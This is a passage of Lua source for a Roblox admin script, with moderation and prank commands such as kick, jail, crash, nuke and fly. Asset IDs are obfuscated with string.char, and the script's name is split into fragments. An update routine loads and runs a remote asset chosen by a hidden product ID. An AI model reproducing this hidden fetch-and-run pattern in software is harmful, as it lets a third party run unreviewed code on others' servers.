953 getfenv(Script).print_array = function(List)
954 if type(List) == "table" then
955 GUI:ListGui(Speaker, "Listed Table", List, "Output")
956 end
957 end
958 end
959
960 local Suc, Error = ypcall(coroutine.wrap(Script))
961
962 if not Suc then
963 Error = CORE:HandleError(Error, Speaker)
964 end
965
966 return Suc,Error
967 end
968end
969
970function CORE:GetTime(Regular, FullDate)
971 if Regular == nil then Regular = true end
972 local Meridiem = ""
973 if Regular == true then Meridiem = " AM" end
974 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
975 local Hour = math.floor(SecondsOfToday / (60*60))
976 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
977 local Second = math.floor(math.fmod(SecondsOfToday, 60))
978 if Hour > 12 and Regular == true then
979 Hour = Hour - 12
980 Meridiem = " PM"
981 end
982 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
983 if #Hour <= 1 then Hour = "0"..Hour end
984 if #Minute <= 1 then Minute = "0"..Minute end
985 if #Second <= 1 then Second = "0"..Second end
986 local Return = Hour..":"..Minute..":"..Second..Meridiem
987 if FullDate == true and Date then Return = Date.." "..Return end
988 return Return
989end
990
991function CORE:RemoveAdmin(Speaker)
992 local Answer = true -- false
993 if not CORE:NilPlayer(Speaker) then
994 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
995 end
996 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
997 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
998 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
999 for _,Item in pairs(Player:GetChildren()) do
1000 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
1001 Item:Destroy()
1002 end
1003 end
1004 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
1005 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
1006 GUI:Destroy()
1007 end
1008 end
1009 end end
1010 for _,Car in pairs(Cars) do
1011 Car:Destroy()
1012 end
1013 CORE:FixLighting()
1014 while wait() do
1015 if script:FindFirstChild("Override") then script.Override.Value = true end
1016 Settings,CORE,IRC = nil,{},{}
1017 if Sound then Sound:Stop() end
1018 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
1019 script:ClearAllChildren() script:Destroy() script.Disabled = true
1020 end
1021 end
1022end
1023
1024function CORE:MakeBase()
1025 for _,Get in pairs(Workspace:GetChildren()) do
1026 if Get.Name == "Base" or Get.Name == "BasePlate" then
1027 Get:Destroy()
1028 end
1029 end
1030 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
1031end
1032
1033function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
1034 if IsAbusive == nil then IsAbusive = false end
1035 if Commands[CommandName] then table.remove(Commands[CommandName]) end
1036 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
1037end
1038
1039function CORE:FixLighting() coroutine.wrap(function()
1040 ModLighting = false
1041 wait(0.2)
1042 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
1043 Server.Lighting.FogColor = Color3.new(0,0,0)
1044 Server.Lighting.Brightness = 1
1045 Server.Lighting.TimeOfDay = 14
1046 Server.Lighting.FogEnd = 100000
1047end)() end
1048
1049function CORE:Round(Number)
1050 if Number >= 0.5 then
1051 return math.ceil(Number)
1052 elseif Number < 0.5 then
1053 return math.floor(Number)
1054 end
1055end
1056
1057local AdminID,Got = nil,false
1058repeat wait()
1059 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
1060until Got == true
1061
1062function CORE:GetTable(ID)
1063 local Thing = nil
1064 repeat wait()
1065 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
1066 until Thing
1067 return Thing
1068end
1069
1070function CORE:InAdminGroup(Speaker)
1071 local IsIn = false
1072 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
1073 if Speaker:IsInGroup(Get) then
1074 IsIn = true
1075 end
1076 end
1077 if IsIn == true then
1078 return true
1079 else
1080 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
1081 return false
1082 end
1083end
1084
1085function CORE:ReverseTable(Table)
1086 if type(Table) ~= "table" then return Table end
1087 local NewTable = {}
1088 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
1089 return NewTable
1090end
1091
1092function CORE:Log(LogTable, Player, Chat)
1093 local PlayerName = tostring(Player)
1094 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
1095 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
1096end
1097
1098function CORE:Jail(Player)
1099 if not Player then return nil end
1100 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
1101 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
1102 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
1103 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
1104 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
1105 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
1106 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
1107 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
1108 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
1109 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
1110 Cell:MoveTo(Vector3.new(0,3,0))
1111
1112 if Player.Character and Player.Character:FindFirstChild("Torso") then
1113 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
1114 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
1115 end
1116 table.insert(Dispose, Cell)
1117 Jails[Player.Name] = Cell
1118end
1119
1120function CORE:UnJail(Player)
1121 if not Player then return nil end
1122 if Jails[Player.Name] then
1123 Jails[Player.Name]:Destroy()
1124 Jails[Player.Name] = nil
1125 end
1126end
1127
1128function CORE:ChangeName(Player, NewName)
1129 if not Player or not NewName then return nil end
1130 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
1131 local NewName = STRING:FormatReplace(Player, NewName)
1132
1133 for _,Obj in pairs(Player.Character:GetChildren()) do
1134 if Obj.Name == "Label" then Obj:Destroy() end
1135 end
1136
1137 local Head = Player.Character.Head
1138 local HeadClone = Head:Clone()
1139
1140 -- make actual head invisible
1141 Head.Transparency = 1
1142 ypcall(function() Head.face.Transparency = 1 end)
1143
1144 -- make fake head visible
1145 HeadClone.Transparency = 0
1146 ypcall(function() HeadClone.face.Transparency = 0 end)
1147
1148 local Label = Instance.new("Model", Player.Character)
1149 Label.Name = "Label"
1150
1151 local Model = Instance.new("Model", Label)
1152 Model.Name = NewName
1153
1154 local HumanoidClone = Instance.new("Humanoid", Model)
1155 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
1156
1157 HeadClone.Position = Vector3.new(0,100,0)
1158 HeadClone.CanCollide = false
1159 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
1160
1161
1162 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
1163 HeadClone.Parent = Model
1164 local Weld = Instance.new("Weld", HeadClone)
1165 Weld.Part0 = HeadClone
1166 Weld.Part1 = Head
1167 end)
1168 end
1169end
1170
1171function CORE:UpdateAdmin()
1172 if Server.Storage:FindFirstChild("PreventMMLUpdate") then
1173 return nil
1174 end
1175 local UpdateModel = AdminID
1176 if UpdateModel == 0 then return end
1177 local NewAdminModel = nil
1178 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
1179 if NewAdminModel then
1180 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
1181 if NewAdmin then
1182 local NewVersion = NewAdmin:FindFirstChild("Version")
1183 if NewVersion.Value ~= CORE.Version.Value then
1184 if ExploitModule then
1185 ExploitModule.Disabled = true
1186 ExploitModule:Destroy()
1187 end
1188 NewAdmin.Disabled = true
1189 NewAdmin.Parent = Workspace
1190 if not Settings then
1191 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1192 if NewSettings then NewSettings.Parent = Workspace end
1193 end
1194 wait() NewAdmin.Disabled = false
1195 CORE:RemoveAdmin()
1196 else
1197 NewAdminModel:Destroy()
1198 end
1199 end
1200 end
1201end
1202
1203function CORE:UnpackPlayers(Players)
1204 local PlayerNames = ""
1205 for Num,Player in pairs(Players) do
1206 if Player ~= nil then
1207 if Num ~= #Players then
1208 PlayerNames = PlayerNames..Player.Name..", "
1209 else
1210 PlayerNames = PlayerNames..Player.Name
1211 end
1212 end
1213 end
1214 return PlayerNames
1215end
1216
1217function CORE:GetValue(Value)
1218 if Value:IsA("StringValue") then
1219 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1220 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1221 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1222 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1223 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1224 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1225 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
1226 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1227 if Admin == Value.Value then
1228 table.remove(Settings.Ranks["Admin"],Num)
1229 end
1230 end
1231 end end
1232 end
1233end
1234
1235function CORE:GetPlayer(ID)
1236 local Return = {"Unknown", ID}
1237 if tonumber(ID) then
1238 for _,Data in pairs(CharacterCache) do
1239 if ID == Data[2] then
1240 return Data
1241 end
1242 end
1243 ypcall(function()
1244 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1245 if Name then
1246 local Data = {Name, ID}
1247 table.insert(CharacterCache, Data)
1248 Return = Data
1249 end
1250 end)
1251 else
1252 local Name = tostring(ID)
1253 for _,Data in pairs(CharacterCache) do
1254 if string.lower(Name) == string.lower(Data[1]) then
1255 return Data
1256 end
1257 end
1258 ypcall(function()
1259 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1260 if PlayerID then
1261 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1262 local Data = {Name, PlayerID}
1263 table.insert(CharacterCache, Data)
1264 Return = Data
1265 end
1266 end)
1267 end
1268
1269 return Return
1270end
1271
1272function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1273 if ID and #tostring(ID) >= 1 then
1274 local PlayerName = nil
1275
1276 local Players = STRING:Scan(ID, Speaker)
1277 if #Players >= 1 then -- if player is found in server
1278 ID = Players[1].UserId
1279 elseif tonumber(ID) then
1280 local Data = CORE:GetPlayer(ID)
1281 PlayerName = Data[1]
1282 else
1283 local Data = CORE:GetPlayer(tostring(ID))
1284 PlayerName = Data[1]
1285 ID = Data[2]
1286 end
1287
1288 if tonumber(ID) == 20018 then -- exploding easter bunny
1289 local OldID = ID
1290 ID = 1
1291 if Speaker then
1292 if RANK:GetRank(Speaker) == "Member" then
1293 coroutine.wrap(function()
1294 wait(1)
1295 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1296 end)()
1297 else ID = OldID
1298 end
1299 end
1300 elseif tonumber(ID) == 1311 then -- ffjosh
1301 local OldID = ID
1302 ID = 1
1303 if Speaker then
1304 if RANK:GetRank(Speaker) == "Member" then
1305 coroutine.wrap(function()
1306 wait(1)
1307 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1308 end)()
1309 else ID = OldID
1310 end
1311 end
1312 end
1313
1314 if tonumber(ID) then
1315 local Position = nil
1316 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1317 if ManualPos then
1318 Position = ManualPos
1319 else
1320 Position = Player.Character.Torso.Position
1321 end
1322 end
1323 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1324 wait() Player:LoadCharacter() wait()
1325 if Position then Player.Character:MoveTo(Position) end
1326 if not Perm then
1327 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1328 end
1329 if NameChar and PlayerName then
1330 wait(2)
1331 CORE:ChangeName(Player, PlayerName)
1332 end
1333 end
1334 end
1335end)() end
1336
1337function CORE:GenerateShield(Player)
1338 if not Player then return nil end
1339 if not Player.Character then return nil end
1340 local Torso = Player.Character:FindFirstChild("Torso")
1341 if not Torso then return nil end
1342
1343 local Shield = Player.Character:FindFirstChild("Shield")
1344 if Shield then Shield:Destroy() end
1345
1346 Shield = Instance.new("Part", Player.Character)
1347 Shield.Name = "Shield"
1348 Shield.Locked = true
1349 Shield.CanCollide = false
1350 Shield.Size = Vector3.new(10,10,10)
1351 Shield.Shape = "Ball"
1352 Shield.Color = GUI:GetColor()
1353 Shield.Transparency = 0.5
1354 Shield.TopSurface = "Smooth"
1355 Shield.BottomSurface = "Smooth"
1356 Shield.Anchored = true
1357 Shield.Position = Torso.Position
1358
1359 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1360 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1361
1362 Hum:Play()
1363
1364 Shield.Touched:connect(function(Part)
1365 if Part.Parent ~= Server.Workspace then
1366 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1367 if Humanoid then
1368 local Char = Humanoid.Parent
1369 if Char:IsA("Model") and Humanoid.Health > 0 then
1370 if Char ~= Player.Character then
1371 Char:BreakJoints()
1372 Zap:Play()
1373 end
1374 end
1375 end
1376 end
1377 end)
1378
1379 coroutine.wrap(function() repeat wait()
1380 Shield.CFrame = Torso.CFrame
1381 until Torso.Parent == nil or Shield.Parent == nil end)()
1382end
1383
1384function CORE:FlingPlayer(Player)
1385 if Player and Player.Character then
1386 if Player.Character:FindFirstChild("Torso") then
1387 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1388 Fling.Name = "Fling"
1389 Fling.force = Vector3.new(10000,10000,10000)
1390 end
1391 end
1392end
1393
1394function CORE:Kick(Player, CustomMessage)
1395 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1396 coroutine.wrap(function()
1397 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1398 wait(1)
1399 Player:Kick(CustomMessage)
1400 end)()
1401end
1402
1403function CORE:Crash(Player)
1404 local Parent = Player
1405 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1406 elseif Player.Character then Parent = Player.Character end
1407
1408 CORE:ExecuteResource("Crash", Parent)
1409end
1410
1411function CORE:RestoreCamera(Player)
1412 if Player.Backpack then
1413 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1414 end
1415end
1416
1417function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1418 local function ScanInstance(Object)
1419 if #Object:GetChildren() > 0 then
1420 for _,Obj in pairs(Object:GetChildren()) do
1421 local IsType = false
1422 if ObjTypes and #ObjTypes > 0 then
1423 for _,ObjType in pairs(ObjTypes) do
1424 if Obj:IsA(ObjType) then
1425 IsType = true
1426 break
1427 end
1428 end
1429 else
1430 IsType = true
1431 end
1432 if IsType == true then
1433 ActiveFunc(Obj)
1434 end
1435 ScanInstance(Obj)
1436 end
1437 end
1438 end
1439 ScanInstance(BaseObj)
1440end
1441
1442function CORE:AnchorPlayer(Player)
1443 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1444
1445 Player.Character.Humanoid.WalkSpeed = 0
1446 for _,Object in pairs(Player.Character:GetChildren()) do
1447 if Object:IsA("BasePart") then
1448 Object.Anchored = true
1449 end
1450 end
1451end
1452
1453function CORE:UnanchorPlayer(Player)
1454 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1455
1456 Player.Character.Humanoid.WalkSpeed = 16
1457 for _,Object in pairs(Player.Character:GetChildren()) do
1458 if Object:IsA("BasePart") then
1459 Object.Anchored = false
1460 end
1461 end
1462end
1463
1464function CORE:InvisiblePlayer(Player)
1465 if not Player or not Player.Character then return end
1466
1467 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1468end
1469
1470function CORE:VisiblePlayer(Player)
1471 if not Player or not Player.Character then return end
1472
1473 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1474end
1475
1476function CORE:Nuke(Player) coroutine.wrap(function()
1477 local Pos = CFrame.new(0,1,0)
1478 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1479 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1480 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1481 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1482 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1483 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1484
1485 local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1486
1487 Server.Lighting.Brightness = 5
1488 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1489 Server.OutdoorAmbient = Color3.new(1,1,1)
1490
1491 local Exp = Instance.new("Explosion", Server.Workspace)
1492 Exp.Position = Pos.p
1493 Exp.BlastPressure = 10000000
1494 Exp.BlastRadius = 1000000
1495 Exp.Hit:connect(function(Part)
1496 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1497 ypcall(function()
1498 Part.Anchored = false
1499 Part.BrickColor = BrickColor.new("Black")
1500 Part.Material = "Slate"
1501 Part:BreakJoints()
1502 end)
1503 end
1504 end)
1505
1506 local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1507 BoomSound:Play()
1508 for i = 0,100,0.5 do
1509 Blast.Anchored = true
1510 Wave.Anchored = true
1511 BlastMesh.Scale = Vector3.new(i,i,i)
1512 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1513 Blast.CFrame = Pos
1514 wait()
1515 end
1516 BoomSound:Stop()
1517 Blast:Destroy()
1518 Wave:Destroy()
1519 wait()
1520 BoomSound:Destroy()
1521 Effect:Destroy()
1522 for i = 10,5,-1 do
1523 Server.Lighting.Brightness = (i-5) + 1
1524 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1525 Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1526 wait(0.05)
1527 end
1528end)() end
1529
1530function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1531 local AssetID = tonumber(AssetID)
1532 local Item = nil
1533 if AssetID and AssetID ~= 1055299 then
1534 local CanInsert = true
1535 if AbuseMode then
1536 for _,ID in pairs(RemoteAbuseGear) do
1537 if AssetID == tonumber(ID) then CanInsert = false break end
1538 end
1539 for _,ID in pairs(Settings.AbusableGear) do
1540 if AssetID == tonumber(ID) then CanInsert = false break end
1541 end
1542 end
1543 if CanInsert then
1544 Item = Server.IS:LoadAsset(AssetID)
1545 if GetFirstChild then
1546 Item = Item:GetChildren()[1]
1547 if FirstChildTypes and Item then
1548 local ValidType = false
1549 for _,Type in pairs(FirstChildTypes) do
1550 if Item:IsA(Type) then
1551 ValidType = true
1552 break
1553 end
1554 end
1555 if ValidType == false then
1556 Item = nil
1557 end
1558 end
1559 end
1560 if Item and Parent then
1561 Item.Parent = Parent
1562 end
1563 end
1564 end
1565 return Item
1566end
1567
1568function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1569 if not Player or not Player.Character then return nil end
1570 PID = tonumber(PID)
1571 for _,Obj in pairs(Player.Character:GetChildren()) do
1572 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1573 end
1574 if PID then
1575 -- back when we needed HttpService to get packages.
1576 --[[
1577 if PackageCache[PID] then
1578 for _,ID in pairs(PackageCache[PID]) do
1579 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1580 end
1581 else
1582 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1583 if IDsJSON then
1584 local IDs = REMOTE:Decode(IDsJSON)
1585 if IDs then
1586 if not IDs["Error"] then
1587 table.insert(PackageCache, IDs)
1588 for _,ID in pairs(IDs) do
1589 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1590 end
1591 end
1592 end
1593 end
1594 end
1595 ]]
1596 -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
1597 local IDs = {}
1598 ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
1599 if #IDs > 0 then
1600 for _,ID in pairs(IDs) do
1601 local PackagePart = CORE:Insert(ID)
1602 for _,Obj in pairs(PackagePart:GetChildren()) do
1603 if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
1604 Obj.Parent = Player.Character
1605 elseif Obj:IsA("Folder") then
1606 if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
1607 Obj:GetChildren()[1].Parent = Player.Character
1608 end
1609 end
1610 end
1611 end
1612 end
1613 end
1614end)() end
1615
1616function CORE:ChangeBet(Bet)
1617 if tostring(Bet) and Bet ~= Settings.Bet then
1618 for Index,Data in pairs(Commands) do
1619 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1620 end
1621 Settings.Bet = Bet
1622 end
1623end
1624
1625function CORE:ResetLighting()
1626 ModLighting = false wait(0.2) ModLighting = true
1627end
1628
1629function CORE:Fly(Player, Force)
1630 if Player and Player.Character then
1631 local StopFly = Instance.new("RemoteFunction", Player.Character)
1632 StopFly.Name = "StopMMLFly"
1633 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1634 end
1635end
1636
1637function CORE:GiveTools(Player, Type)
1638 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1639 Type = string.lower(Type)
1640 local _,RankNum = RANK:GetRank(Player)
1641 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1642 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1643
1644 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1645 for Name,Type in pairs(BaseBuildTools) do
1646 local Tool = Instance.new("HopperBin", Player.Backpack)
1647 Tool.Name = Name
1648 Tool.BinType = Type
1649 end
1650 elseif Type == "psbtools" then
1651 for _,Tool in pairs(BuildTools) do
1652 CORE:Insert(Tool, Player.Backpack, true)
1653 end
1654 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1655 if F3X then
1656 local F3X = F3X:Clone()
1657 F3X.Parent = Player.Backpack
1658 end
1659 elseif Type == "btools" then
1660 if F3X then
1661 local F3X = F3X:Clone()
1662 F3X.Parent = Player.Backpack
1663 end
1664 for Name,Type in pairs(BaseBuildTools) do
1665 local Tool = Instance.new("HopperBin", Player.Backpack)
1666 Tool.Name = Name
1667 Tool.BinType = Type
1668 end
1669 for _,Tool in pairs(BuildTools) do
1670 CORE:Insert(Tool, Player.Backpack, true)
1671 end
1672 else
1673 for _,Region in pairs(ToolRegions) do
1674 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1675 if Type == "all" then
1676 local NewItem = Item:Clone()
1677 NewItem.Parent = Player.Backpack
1678 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1679 local NewItem = Item:Clone()
1680 NewItem.Parent = Player.Backpack
1681 end
1682 end)
1683 end
1684 end
1685end
1686
1687function CORE:Scale(Player, ScalePercent)
1688 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1689 local Ratio = ScalePercent/100
1690 if Ratio < 0.05 then Ratio = 0.05 end
1691 if Ratio > 100 then Ratio = 100 end
1692 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1693 local Char = Player.Character
1694
1695 local Clean = Char:FindFirstChild("Clean")
1696 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1697 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1698
1699 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1700 local Welds = {}
1701 local Parts = {}
1702
1703 local function Handle(Obj)
1704 if Obj:IsA("BasePart") and not JustWeld then
1705 table.insert(Parts, Obj)
1706 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1707 if Obj.Name == "MML Mesh" then
1708 Obj:Destroy()
1709 end
1710 if Obj.MeshType == Enum.MeshType.FileMesh then
1711 Obj.Offset = Obj.Offset * ScaleRatio
1712 Obj.Scale = Obj.Scale * ScaleRatio
1713 elseif Ratio < 1 then
1714 Obj.Offset = Obj.Offset * ScaleRatio
1715 Obj.Scale = Obj.Scale * ScaleRatio
1716 end
1717 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1718 if Ratio < 1 then
1719 local BodyPart = ""
1720 local TextureID = Obj.BaseTextureId
1721 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1722 if TextureID == 0 then TextureID = nil end
1723 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1724 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1725 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1726 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1727 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1728 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1729 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1730 NewMesh.Name = "MML Mesh"
1731 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1732 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1733 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1734 Obj:Destroy()
1735 end
1736 elseif Obj:IsA("JointInstance") then
1737 local NewWeld = Obj:Clone()
